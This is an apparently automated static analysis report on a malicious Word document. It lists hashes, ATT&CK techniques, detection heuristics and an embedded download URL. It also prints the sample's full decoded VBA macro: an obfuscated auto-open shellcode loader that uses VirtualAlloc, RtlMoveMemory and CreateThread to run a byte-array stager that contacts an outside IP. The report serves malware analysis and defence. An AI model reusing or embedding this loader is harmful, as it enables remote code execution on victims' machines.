Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c5c31eacfea19f89…

MALICIOUS

Office (OLE)

41.0 KB Created: 2018-12-11 07:59:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 8c4319cae730e609094a8d50daae5bc4 SHA-1: 80ea31a0e8603f87b408196302f78e7b8f4ae29d SHA-256: c5c31eacfea19f8965ecf489907236959c8d9a6d6233681f9695110268d7beb0
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro, and triggers a critical heuristic for CVE-2007-3899, a memory corruption vulnerability in Microsoft Word. The script utilizes VirtualAlloc and CreateThread API calls, indicating it likely allocates memory and executes shellcode. The embedded URL 'https://afine.pl/UDSC/1.gif' is likely used to download a second-stage payload.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    #End If
Sub Auto_Open()
Dim vjpkxoqeptcgefitdw As Long, mrwpuqgistvxjwor As Variant, yyonvxafribd As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://afine.pl/UDSC/1.gif In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5315 bytes
SHA-256: bac66a8c97a775f6d381d535a64069f0b2758d2019b0b659539c7f31c1b8bc01
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const cleebpnedq = 2
Const knunieniqj = 1
Const vezskcyeam = 0
#If VBA7 Then
Private Declare PtrSafe Function qoqnfsrobbpjqrikbkiy Lib "kernel32" Alias "CreateThread" (ByVal eqbgqqdfydou As Long, ByVal laskdcdg As Long, ByVal jtoaqyolawuhttaqzzht As LongPtr, qigzpfqjbdyipy As Long, ByVal lnksstrnnfsokwd As Long, cogqcohtugq As Long) As LongPtr
Private Declare PtrSafe Function xfxbimgsix Lib "kernel32" Alias "VirtualAlloc" (ByVal ehcecndvuofwcigcizk As Long, ByVal tbewpafejnmqfyqmvj As Long, ByVal wkahmztyupay As Long, ByVal czatlhii As Long) As LongPtr
Private Declare PtrSafe Function ivibimci Lib "kernel32" Alias "RtlMoveMemory" (ByVal xzmvfnarxccrprxeou As LongPtr, ByRef eeaerwacsq As Any, ByVal xnvtekxriodnaqilez As Long) As LongPtr
#Else
Private Declare Function qoqnfsrobbpjqrikbkiy Lib "kernel32" Alias "CreateThread" (ByVal eqbgqqdfydou As Long, ByVal laskdcdg As Long, ByVal jtoaqyolawuhttaqzzht As Long, qigzpfqjbdyipy As Long, ByVal lnksstrnnfsokwd As Long, cogqcohtugq As Long) As Long
Private Declare Function xfxbimgsix Lib "kernel32" Alias "VirtualAlloc" (ByVal ehcecndvuofwcigcizk As Long, ByVal tbewpafejnmqfyqmvj As Long, ByVal wkahmztyupay As Long, ByVal czatlhii As Long) As Long
Private Declare Function ivibimci Lib "kernel32" Alias "RtlMoveMemory" (ByVal xzmvfnarxccrprxeou As Long, ByRef eeaerwacsq As Any, ByVal xnvtekxriodnaqilez As Long) As Long
#End If
Sub Auto_Open()
Dim vjpkxoqeptcgefitdw As Long, mrwpuqgistvxjwor As Variant, yyonvxafribd As Long
#If VBA7 Then
Dim ifvtdsvyaaffiich As LongPtr, inotgcvjcfdufk As LongPtr
#Else
Dim ifvtdsvyaaffiich As Long, inotgcvjcfdufk As Long
#End If
mrwpuqgistvxjwor = Array(232, 130, vezskcyeam, 0, vezskcyeam, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, cleebpnedq, 44, 32, 193, 207, 13, knunieniqj, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, knunieniqj, 209, 81, 139, 89, 32, knunieniqj, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, knunieniqj, 214, 49, 255, 172, 193, _
207, 13, knunieniqj, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, knunieniqj, 211, 102, 139, 12, 75, 139, 88, 28, knunieniqj, 211, 139, 4, 139, knunieniqj, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, vezskcyeam, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, knunieniqj, vezskcyeam, 0, 232, 68, knunieniqj, vezskcyeam, 0, 47, 114, 83, 99, 102, 45, 55, 122, 83, 107, 69, 86, 120, 78, 88, 65, 48, 76, 84, 111, 99, 112, 65, 56, 71, 114, 54, 97, 90, 113, 76, 75, 65, 68, 110, 110, 118, 106, 56, 105, 51, 67, 83, 82, 95, 73, 53, 90, 51, 54, 76, 105, 73, 121, 55, 89, _
114, 50, 66, 107, 119, 117, 101, 85, 89, 57, 71, 107, 118, 83, 87, 55, 84, 122, 99, 83, 53, 79, 121, 89, 54, 118, 119, 57, 82, 97, 109, 45, 55, 81, 67, 85, 74, 76, 100, 85, 76, 79, 52, 103, 83, 57, 55, 110, 53, 83, 80, 85, 95, 76, 54, 103, 68, 78, 103, 48, 97, 107, 113, 53, 106, 77, 116, 52, 117, 69, 108, 88, 110, 101, 109, 81, 87, 68, 74, 95, _
102, 72, 84, 66, 65, 74, 116, 70, 70, 55, 122, 113, 72, 55, 72, 80, 66, 104, 45, 118, 71, 49, 70, 49, 118, 85, 119, 104, 103, 76, 109, 106, 115, 55, 100, 113, 76, 104, 45, 71, 122, 116, 90, 67, vezskcyeam, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, vezskcyeam, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, _
51, vezskcyeam, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, vezskcyeam, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 73, vezskcyeam, 0, vezskcyeam, 106, 64, 104, vezskcyeam, 16, vezskcyeam, 0, 104, vezskcyeam, 0, 64, vezskcyeam, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, _
104, vezskcyeam, 32, vezskcyeam, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, knunieniqj, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 51, 49, 46, 49, 56, 54, 46, 56, 51, 46, 51, 57, vezskcyeam, 187, 240, 181, 162, 86, 106, vezskcyeam, 83, 255, 213)
ifvtdsvyaaffiich = xfxbimgsix(vezskcyeam, UBound(mrwpuqgistvxjwor), &H1000, &H40)
For yyonvxafribd = LBound(mrwpuqgistvxjwor) To UBound(mrwpuqgistvxjwor)
vjpkxoqeptcgefitdw = mrwpuqgistvxjwor(yyonvxafribd)
inotgcvjcfdufk = ivibimci(ifvtdsvyaaffiich + yyonvxafribd, vjpkxoqeptcgefitdw, knunieniqj)
Next yyonvxafribd
inotgcvjcfdufk = qoqnfsrobbpjqrikbkiy(vezskcyeam, vezskcyeam, ifvtdsvyaaffiich, vezskcyeam, 0, vezskcyeam)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function ukteptgdvmhc(ByVal kahcdchienqw As String) As String
Dim gxntbzcmjllq As Long
For gxntbzcmjllq = 1 To Len(kahcdchienqw) Step 2
ukteptgdvmhc = ukteptgdvmhc & Chr$(Val("&H" & Mid$(kahcdchienqw, gxntbzcmjllq, 2)))
Next gxntbzcmjllq
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.